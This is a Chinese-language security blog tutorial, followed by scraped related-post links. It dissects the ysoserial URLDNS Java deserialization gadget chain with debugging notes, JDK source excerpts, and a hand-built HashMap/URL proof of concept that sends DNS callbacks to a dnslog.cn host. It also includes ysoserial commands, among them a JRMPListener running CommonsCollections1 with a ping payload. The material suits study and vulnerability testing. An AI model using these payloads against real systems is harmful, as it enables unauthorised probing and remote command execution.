前言

文章首发于tools:yso之URLDNS链

Java反序列化

Java提供了一种对象序列化的机制,用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久保存一个对象,这过程叫做序列化。序列化对象会通过ObjectOutputStreamwriteObject方法将一个对象写入到文件中。

而反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类。

这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。

ysoserial

因为java序列化后的数据为不可见字符,不方便构造,所以此项目帮你生成反序列化poc的脚本,但是并不会提供反序列化的点。

项目地址

https://github.com/angelwhu/ysoserial

使用

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务

  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] ‘[command]’
  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://fq3jq6.dnslog.cn
  • java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 ‘ping test.fq3jq6.dnslog.cn’

项目结构

│  GeneratePayload.java {{生成poc的入口函数}}
│  Deserializer.java {{反序列化模块}}
│  Serializer.java {{序列化模块}}
│  Strings.java {{字符处理模块}}
│
├─exploit {{一些直接调用的exp}}
│      JBoss.java
│      JenkinsCLI.java
│      JenkinsListener.java
│      ......
│
├─payloads {{生成gadget poc的代码}}
│  │  CommonsBeanutils1.java
│  │  URLDNS.java
│  │  .....
│  │
│  ├─annotation {{一些不重要的配置}}
│  │      Authors.java
│  │
│  └─util  {{一些重复使用的单元}}
│          ClassFiles.java
│          Gadgets.java
│
└─secmgr {{和安全有关的管理}}DelegateSecurityManager.javaExecCheckingSecurityManager.java

动态调试

源码地址

https://github.com/frohoff/ysoserial

克隆到本地直接用idea打开,这时候IDEA会自动根据其中的配置下载依赖,只需要等待几分钟

自动下载后最好在pom.xml那把剩下的依赖也解决了

程序入口

首先找到程序的入口点,点开pom.xml搜索mainclass就可以找到入口点的类

ctrl+左键点击跟踪进去,运行测试一下。

需要参数

主函数调用链

1处接受2个参数比如 URLDNS 'http://www.baidu.com'
2处获得poc模块的类,这里就是URLDNS.java类
3处实例化poc类以及将第二个参数传入类
4处序列化一次然后输出(poc)

在run-edit config中配置参数

这里填入URLDNS链的启动参数

URLDNS http://fq3jq6.dnslog.cn

再次运行这样我们就获取到了一个序列化的数据。

手动构造pop链

指定类的hashmap到指定类的hashcode

tips:HashSet列表的add也会调用map.put只是链子更长而已

HashMap<String, String> map = new HashMap<String, String>();
// 键不能重复,值可以重复
map.put("san", "张三");
map.put("si", "李四");
map.put("wu", "王五");
map.put("wang", "老王");
map.put("wang", "老王2");// 老王被覆盖
map.put("lao", "老王");
System.out.println("-------直接输出hashmap:-------");
System.out.println(map);

我们跟进put函数

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);
}

跟进从putVal到hash函数

static final int hash(Object key) {int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

发现和hashCode相关。也就意味着当我们使用hashmap的put的时候,key会调用->hash(key)->然后调用key.hashCode()

也就是说只要key是一个对象,那么我们可以调用任意对象的hanshCode函数

那么又是怎么通过hashCode来发起dns请求的?

URL类中的hashcode

URL.java 881,URL对象hashCode函数调用了handler.hashCode

public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;
}

跟进handler.hashCode()(URLStreamHandler.java 350),他是由URLStreamHandler类形成的对象,是一个抽象类

用来处理协议(http/https)的建立连接

hashCode调用了getHostAddress函数

protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);...........

跟进getHostAddress(u)(URLStreamHandler.java 433),看名字也知道是用来获取主机IP地址的

在其中调用了InetAddress.getByName

protected synchronized InetAddress getHostAddress(URL u) {if (u.hostAddress != null)return u.hostAddress;String host = u.getHost();if (host == null || host.equals("")) {return null;} else {try {u.hostAddress = InetAddress.getByName(host);.........................................

而InetAddress.getByName(host)就是DNS请求了

那么就清楚了,调用链map.put(Url,XX)->URL.hashCode->handler.hashCode->getHostAddress(u)->u.hostAddress=InetAddress.getByName(host);

发出DNS请求,那么我们就可以简单构造一下

 HashMap<URL, String> hashMap = new HashMap<URL, String>();URL test_url= null;try {test_url = new URL("http://test.kei8v0.dnslog.cn");hashMap.put(test_url, "22222");System.out.println("success");} catch (MalformedURLException e) {e.printStackTrace();}

到这里成功执行了DNS请求

hashmap的反序列化

我们前往HashMap.java

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {.........................// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false); #!!!!!!!!!!!}}}

发现readObject每个值也会调用putVal->hash(作用和HashMap中的put函数一致),然后如果key为URL类型就会掉入前面URLDNS的链中,那么我们现在非常方便写代码

public static void main(String[] args) throws Exception{//构造请求链HashMap<URL, String> hashMap = new HashMap<URL, String>();URL url = new URL("http://lyyy.dr8m3e.dnslog.cn\n\n");Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");f.setAccessible(true);f.set(url, 0);hashMap.put(url, "test");f.set(url, -1);//序列化操作ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));oos.writeObject(hashMap);ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));ois.readObject();}

这里前面进行构造,后面进行序列化以及反序列化触发

有一个有意思的点是为了不让构造的时候触发dns请求影响结果判断,我们先使URL类中的hashCode值为0

我们分析URL的hashCode

public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

发现hashCode为-1的时候才调用handler.hashCode()

而hashCode定义为private int hashCode = -1;

默认为-1,我们要在构造的时候不发起dns请求,所以我们要在put之前set为非-1的值

注意在put结束后要恢复到-1,否则反序列化的时候也不会请求。
最后的利用链简化

HashMap->readObject()

HashMap->putVal()

HashMap->hash()

URL->hashCode()

URLStreamHandler->hashCode()

URLStreamHandler->getHostAddress()

InetAddress->getByName()

URLDNS链分析

URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在。

调用jar包得到序列化后的数据,如果需要执行,需要对其做反序列化操作。这里先开始看看数据是怎么获取的

打开src/main/java/ysoserial/payloads/URLDNS.java的源码

在注释中标明了调用链

*   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()*           URL.hashCode()

和手动构造的前半部分一致

在put地方打一个断点,再找到hashMap.readObject中的putVal打上断点

开始调试直接跳到第二个点

putVal调用了hash,key是自己指定的url:http://fq3jq6.dnslog.cn 通过readObject函数生成的URL对象

步入hash函数,这里key传入URL对象

所以调用了URL类的hashCode,继续步入hashCode

hashCode=-1时去执行hadler.hashCode

执行getHostAddress,u为http://fq3jq6.dnslog.cn

调用了InetAddress.getByName,成功发起dns请求,调用链和手动构造一模一样

本地使用yso测试

本地进行反序列化测试一下,手动生成

tips:这里不能用powershell运行,会在文件头加上错误信息导致报错

java -jar ysoserial.jar URLDNS http://8q2frx.dnslog.cn > out.bin

本地反序列化Demo

import java.io.FileInputStream;
import java.io.ObjectInputStream;public class Helloworld{public static void main(String[] args) throws Exception {ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));ois.readObject();}
}

探究冗余处理

那么yso是怎么处理构造时发出的dns请求呢?

查看URLDNS源码可以发现,作者构造URL对象时使用了三个参数

来到析构函数查看,是可以通过指定处理程序解析来订制规范创建URL

也就是依赖handler来制定规范创建URL对象

handler是上面创建的

跟进

 static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}

直接重写了getHostAddress()内容为返回空

那么如果我们传入的handler为自己改写的时,创建URL对象调用hashCode函数就不能发起DNS请求了

那么为什么在反序列化的时候会有请求呢?

因为之前说过序列化只记录类的属性,而函数内容不管,所以这个对象的函数被重写并不影响序列化的结果。

而反序列在被攻击端进行,只要序列化数据正常,自然可以正常发起DNS请求

总结

URLDNS链

  • hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了一系列方法最后发起dns请求

  • 使用的全部是JDK中内置的类和方法,不会有环境要求,所以利用范围大

  • 使用的全部是JDK中内置的类和方法,学习后对java源码理解更深入

  • 原生类的很多方法都会最后发起DNS请求,但是这里是对反序列化的探测,所以需要的是

    • 1.重写readObject函数
    • 2.重写后的readObject执行了危险操作(危险类/危险函数)

参考

java代码审计入门3-ysoserial调试和构造URLDNS的pop链

Java安全之URLDNS链

yso之URLDNS链相关推荐

  1. java system.in 输入不回显_Java安全之URLDNS链

    点击上方蓝色字体,选择"标星公众号" 优质文章,第一时间送达 作者 |  nice0e3 来源 |  urlify.cn/6Zfiiu 前言 在学习Java的反序列化漏洞的时候,就 ...

  2. p牛java安全漫谈学习笔记(2)_反序列化与urldns链(基础)

    文章目录 关于反序列化 urldns链 关于反序列化 ysoserial下载分析地址:https://github.com/frohoff/ysoserial php反序列化主要是魔术方法,与java ...

  3. 告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)

    0x01 前言 我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...

  4. BurpSuite插件

    BurpSuite渗透辅助插件Burp Extensions BurpSuite 相关收集项目,插件主要是非BApp Store(商店) 插件的安装 JAVA编写的插件: Python编写的插件: P ...

  5. Java安全--CC1的补充和CC6

    CC1的补充 上一次讲的是cc链的一种形式,这个补充的cc链子是yso的cc链. 这个链子确实比较麻烦,但是和我们下一步要学习的cc6有比较紧的联系.所以做一下补充,值得一提的是这个链子也确实很巧妙 ...

  6. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  7. 浅谈 yso的 Commons-Collections1 (cc1)反序列化链 如何手写这条链子

    yso的cc1 ysoserial/src/main/java/ysoserial/payloads at master · frohoff/ysoserial (github.com) 这里面找 p ...

  8. ysoserial URLDNS解析

    工具: Java反序列化在线解析 0x01 ysoserial payload讲解 java -jar ysoserial.jar URLDNS http://bg3sza.dnslog.cn > ...

  9. OpenCL产业开发链

    OpenCL产业开发链 OPEN STANDARD FOR PARALLEL PROGRAMMING OF HETEROGENEOUS SYSTEMS OpenCL™ (Open Computing ...

最新文章

  1. python读书笔记二、文件基本操作
  2. windows server r2 之如何设置共享文件夹访问不需要输入用户名和密码
  3. 20169207《Linux内核原理与分析》第五周作业
  4. 系统制成docker镜像_docker 制作自己的镜像
  5. 最强阿里巴巴历年经典面试题汇总:C++研发岗
  6. 设计模式(9)工厂模式(讲解+应用)
  7. 「深度」物料成本不到1500的iPhone6s凭什么5288元起售?
  8. 并联机构工作空间求解_断路器机构弹簧的设计
  9. c++ 各种求min/max方法效率测试
  10. composition API
  11. ikbc机械键盘打字出现重复_入手第一把机械键盘,打字打到上瘾——ikbc 新Poker键盘 体验...
  12. 使用Ghost还原系统为什么容易出问题?
  13. 面试被问到你的优点和缺点时,该如何完美的回答
  14. Delphi 10.3.1 TNetHttpClient在多线程中存在的问题及解决方法。
  15. flutter:掌握布局约束Constraint
  16. java.lang.IllegalStateException: Migration didn‘t properly handle
  17. 小车自动往返工作原理_自动往返小汽车
  18. 3t硬盘分区 Linux win,3TB使用大难题 得先学会怎么分区_内存硬盘行情-中关村在线...
  19. 小程序微信支付功能开发
  20. mysql1310错误_救命啊,MySQL崩溃啦...

热门文章

  1. 11.Moveit 末端坐标系姿态表示形式——四元数
  2. 599.两个列表的最下索引总和
  3. 摄像机sensor介绍
  4. 网易云课堂 Service Worker 运用与实践
  5. 前端面试题:Token一般是存放在哪里? Token放在cookie和放在localStorage、sessionStorage中有什么不同?
  6. APIDOC使用避坑
  7. 水位传感器(Water Sensor)原理图
  8. 2020牛客暑期多校训练营(第八场) Enigmatic Partition
  9. 跨境电商erp系统是什么?
  10. Delphi下的MPS